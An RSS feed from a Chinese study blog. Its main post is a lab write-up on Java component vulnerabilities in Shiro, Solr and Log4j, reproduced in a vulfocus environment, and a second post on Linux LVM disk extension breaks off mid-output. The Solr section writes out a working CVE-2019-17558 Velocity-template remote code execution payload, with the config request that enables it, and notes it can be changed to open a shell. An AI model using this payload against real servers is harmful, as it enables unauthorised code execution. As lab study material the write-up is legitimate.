<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>欢迎来到我的博客</title><link>https://www.yuyuxiang.top/</link><description>学习记录博客</description><item><title>java 开发组件安全</title><link>https://www.yuyuxiang.top/?id=13</link><description>&lt;p node=&quot;[object Object]&quot; dir=&quot;auto&quot; style=&quot;--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; --tw-rotate: 0; --tw-skew-x: 0; --tw-skew-y: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-pan-x: ; --tw-pan-y: ; --tw-pinch-zoom: ; --tw-scroll-snap-strictness: proximity; --tw-gradient-from-position: ; --tw-gradient-via-position: ; --tw-gradient-to-position: ; --tw-ordinal: ; --tw-slashed-zero: ; --tw-numeric-figure: ; --tw-numeric-spacing: ; --tw-numeric-fraction: ; --tw-ring-inset: ; --tw-ring-offset-width: 0px; --tw-ring-offset-color: #fff; --tw-ring-color: rgba(59,130,246,.5); --tw-ring-offset-shadow: 0 0 #0000; --tw-ring-shadow: 0 0 #0000; --tw-shadow: 0 0 #0000; --tw-shadow-colored: 0 0 #0000; --tw-blur: ; --tw-brightness: ; --tw-contrast: ; --tw-grayscale: ; --tw-hue-rotate: ; --tw-invert: ; --tw-saturate: ; --tw-sepia: ; --tw-drop-shadow: ; --tw-backdrop-blur: ; --tw-backdrop-brightness: ; --tw-backdrop-contrast: ; --tw-backdrop-grayscale: ; --tw-backdrop-hue-rotate: ; --tw-backdrop-invert: ; --tw-backdrop-opacity: ; --tw-backdrop-saturate: ; --tw-backdrop-sepia: ; --tw-contain-size: ; --tw-contain-layout: ; --tw-contain-paint: ; --tw-contain-style: ; box-sizing: border-box; border: 0px solid rgb(226, 232, 240); margin-top: 0.4em; margin-bottom: 0.4em; font-family: &amp;quot;Segoe UI&amp;quot;, Tahoma, Geneva, Verdana, sans-serif; text-wrap: wrap;&quot;&gt;在Java应用程序开发中，开发者通常会集成第三方组件来实现特定功能模块，例如：&lt;/p&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;全文检索功能 - Apache Solr&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;身份认证与授权 - Apache Shiro&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;日志记录管理 - Log4j&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;JSON数据处理 - Jackson/Fastjson（支持序列化与反序列化）&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;漏洞复现环境使用&lt;strong&gt;vulfocus&lt;/strong&gt;靶场。&lt;/p&gt;&lt;p&gt;搭建流程：&lt;/p&gt;&lt;p&gt;&amp;nbsp; 使用ubuntu拉取docker镜像方式运行：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#镜像拉取命令：
docker&amp;nbsp;pull&amp;nbsp;swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#运行镜像&amp;nbsp;服务开放在服务器8181端口：
docker&amp;nbsp;run&amp;nbsp;-d&amp;nbsp;--name&amp;nbsp;vulfocus&amp;nbsp;-p&amp;nbsp;8181:80&amp;nbsp;swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511161763284680846188.png&quot; alt=&quot;image.png&quot; width=&quot;813&quot; height=&quot;376&quot; style=&quot;width: 813px; height: 376px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;默认用户名密码admin:admin&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;Shiro&lt;/span&gt;组件漏洞：&lt;/h2&gt;&lt;p&gt;组件特征：服务器响应包返回&lt;span style=&quot;color: #BAC3D4; font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; white-space: pre-wrap; background-color: #37393C;&quot;&gt;rememberMe=deleteMe&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511171763385280892749.png&quot; alt=&quot;image.png&quot; width=&quot;809&quot; height=&quot;349&quot; style=&quot;width: 809px; height: 349px;&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;text-wrap: wrap;&quot;&gt;CVE-2016-4437 - Shiro550&lt;/h3&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;Apache Shiro 1.2.4及以前版本中&lt;/p&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;漏洞产生原理：Shiro 框架提供了一个RememberMe功能，允许用户在下次访问时无需重新登录。 这个功能通过在Cookie中设置一个rememberMe字段来实现。 Shiro在处理rememberMe字段时，会先进行Base64解码，然后使用AES解密，最后反序列化。 然而Shiro的默认AES密钥是硬编码在框架中的。&lt;/p&gt;&lt;p&gt;使用shiro反序列化工具。&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511171763386930187286.png&quot; alt=&quot;image.png&quot; width=&quot;552&quot; height=&quot;497&quot; style=&quot;width: 552px; height: 497px;&quot;/&gt;&lt;/p&gt;&lt;h3&gt;Shiro721&lt;/h3&gt;&lt;p&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;Apache Shiro 1.4.1及以前版本中&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;Shiro721与&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;Shiro550的&lt;/span&gt;&lt;/span&gt;主要区别，在于Shiro550使用已知默认密码，只要有足够的密码，不需要Remember Cookie。Shiro721的ase加密的key为系统随机生成，Shiro 允许自定义 AES 密钥，但加密模式（CBC）存在 Padding Oracle 漏洞。通过Padding Oracle Attack漏洞，&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;需要利用登录后的rememberMe&lt;/span&gt;发送构造好的测试rememberMe Cookie，利用服务器的错误响应（如 500 vs 200）从而达到爆破 AES 密钥。或者从泄露信息或者内存中读出key值之后和&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;Shiro550的利用方法一样。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;shiro还存在其他权限绕过的漏洞&lt;/h3&gt;&lt;p&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;在1.5.3及其之前的版本&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;（cve_2&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;020_11989）（&amp;nbsp;CVE-2020-1957）（cve_2020_13933）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;Solr组件漏洞：&lt;/span&gt;&lt;/h2&gt;&lt;h3 style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;color: #4D4D4D; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-size: 16px; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;solr的漏洞大致分为两个方向&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 style=&quot;text-wrap: wrap;&quot;&gt;CVE-2019-17558(RCE)&lt;/h3&gt;&lt;p&gt;漏洞版本范围：Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511221763810952876010.png&quot; alt=&quot;image.png&quot; width=&quot;760&quot; height=&quot;277&quot; style=&quot;width: 760px; height: 277px;&quot;/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;POST&amp;nbsp;/solr/demo/config&amp;nbsp;HTTP/1.1
Host:&amp;nbsp;123.58.224.8:49252


{
&amp;nbsp;&amp;nbsp;&amp;quot;update-queryresponsewriter&amp;quot;:&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;startup&amp;quot;:&amp;nbsp;&amp;quot;lazy&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;name&amp;quot;:&amp;nbsp;&amp;quot;velocity&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;class&amp;quot;:&amp;nbsp;&amp;quot;solr.VelocityResponseWriter&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;template.base.dir&amp;quot;:&amp;nbsp;&amp;quot;&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;solr.resource.loader.enabled&amp;quot;:&amp;nbsp;&amp;quot;true&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;params.resource.loader.enabled&amp;quot;:&amp;nbsp;&amp;quot;true&amp;quot;
&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: #FFFFFF; color: #555555; font-size: 13px; white-space-collapse: preserve-breaks;&quot;&gt;注入Velocity模板即可执行任意命令&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;/solr/demo/select?q=1&amp;amp;&amp;amp;wt=velocity&amp;amp;v.template=custom&amp;amp;v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: #FFFFFF; color: #555555; font-size: 13px; white-space-collapse: preserve-breaks;&quot;&gt;&lt;/span&gt;修改命令执行shell&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511221763811169759224.png&quot; alt=&quot;image.png&quot; width=&quot;796&quot; height=&quot;220&quot; style=&quot;width: 796px; height: 220px;&quot;/&gt;&lt;/p&gt;&lt;h3&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;/span&gt;&lt;br/&gt;CVE-2021-27905(SSRF)&lt;/h3&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;漏洞版本范围：&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: #FFFFFF; color: #555555; font-size: 13px; white-space-collapse: preserve-breaks;&quot;&gt;Apache Solr 版本&amp;lt;= 8.8.1&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511221763811401347010.png&quot; alt=&quot;image.png&quot; width=&quot;796&quot; height=&quot;259&quot; style=&quot;width: 796px; height: 259px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511221763811435428535.png&quot; alt=&quot;image.png&quot; width=&quot;794&quot; height=&quot;249&quot; style=&quot;width: 794px; height: 249px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;利用条件有一定前提&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;Log4j组件漏洞：&lt;/span&gt;&lt;/h2&gt;&lt;h3&gt;log4j反序列化漏洞(CVE-2021-44228)&lt;/h3&gt;&lt;p&gt;影响范围：&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;Log4j 1.x 用户应升级到1.2.18或更高版本。&lt;/p&gt;&lt;p&gt;Log4j 2.x 用户应升级到2.15.0或更高版本。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;color: #555555; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 13px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511261764153971694911.png&quot; alt=&quot;image.png&quot; width=&quot;795&quot; height=&quot;490&quot; style=&quot;width: 795px; height: 490px;&quot;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;color: #555555; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 13px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;服务器运行jndi漏洞工具:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;color: #555555; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 13px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511261764154031619770.png&quot; alt=&quot;image.png&quot; width=&quot;796&quot; height=&quot;246&quot; style=&quot;width: 796px; height: 246px;&quot;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;color: #555555; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 13px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包导致远程加载服务器上的恶意类，最终触发远程代码执行。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color:#555555;font-family:Helvetica Neue, Helvetica, PingFang SC, Hiragino Sans GB, Microsoft YaHei, Arial, sans-serif&quot;&gt;&lt;span style=&quot;font-size: 13px; background-color: #FFFFFF;&quot;&gt;log4j漏洞点是，什么东西会被日志写入，点就在哪里（如下案例：漏洞存在在&amp;nbsp;&lt;span style=&quot;color: #555555; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 13px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;X-Api-Version：字段中&lt;/span&gt;）&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color:#555555;font-family:Helvetica Neue, Helvetica, PingFang SC, Hiragino Sans GB, Microsoft YaHei, Arial, sans-serif&quot;&gt;&lt;span style=&quot;font-size: 13px; background-color: #FFFFFF;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/11/202511261764154728585383.png&quot; alt=&quot;image.png&quot; width=&quot;800&quot; height=&quot;402&quot; style=&quot;width: 800px; height: 402px;&quot;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;Jackson/Fastjson&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: #606266; font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description><pubDate>Sun, 16 Nov 2025 15:29:14 +0800</pubDate></item><item><title>linux磁盘拓展</title><link>https://www.yuyuxiang.top/?id=12</link><description>&lt;p&gt;linux磁盘分为物理盘和逻辑盘，可以通过挂载操作将物理盘的空间拓展到逻辑盘中。&lt;br/&gt;&lt;/p&gt;&lt;p&gt;步骤 1：检查当前 LVM 状态&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;pvdisplay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;查看物理卷（PV）&lt;/pre&gt;&lt;p&gt;&amp;nbsp; --- Physical volume ---&lt;/p&gt;&lt;p&gt;&amp;nbsp; PV Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/dev/sda3&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ubuntu-vg&lt;/p&gt;&lt;p&gt;&amp;nbsp; PV Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;98.00 GiB / not usable 0&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; Allocatable&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes (but full)&lt;/p&gt;&lt;p&gt;&amp;nbsp; PE Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.00 MiB&lt;/p&gt;&lt;p&gt;&amp;nbsp; Total PE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 25087&lt;/p&gt;&lt;p&gt;&amp;nbsp; Free 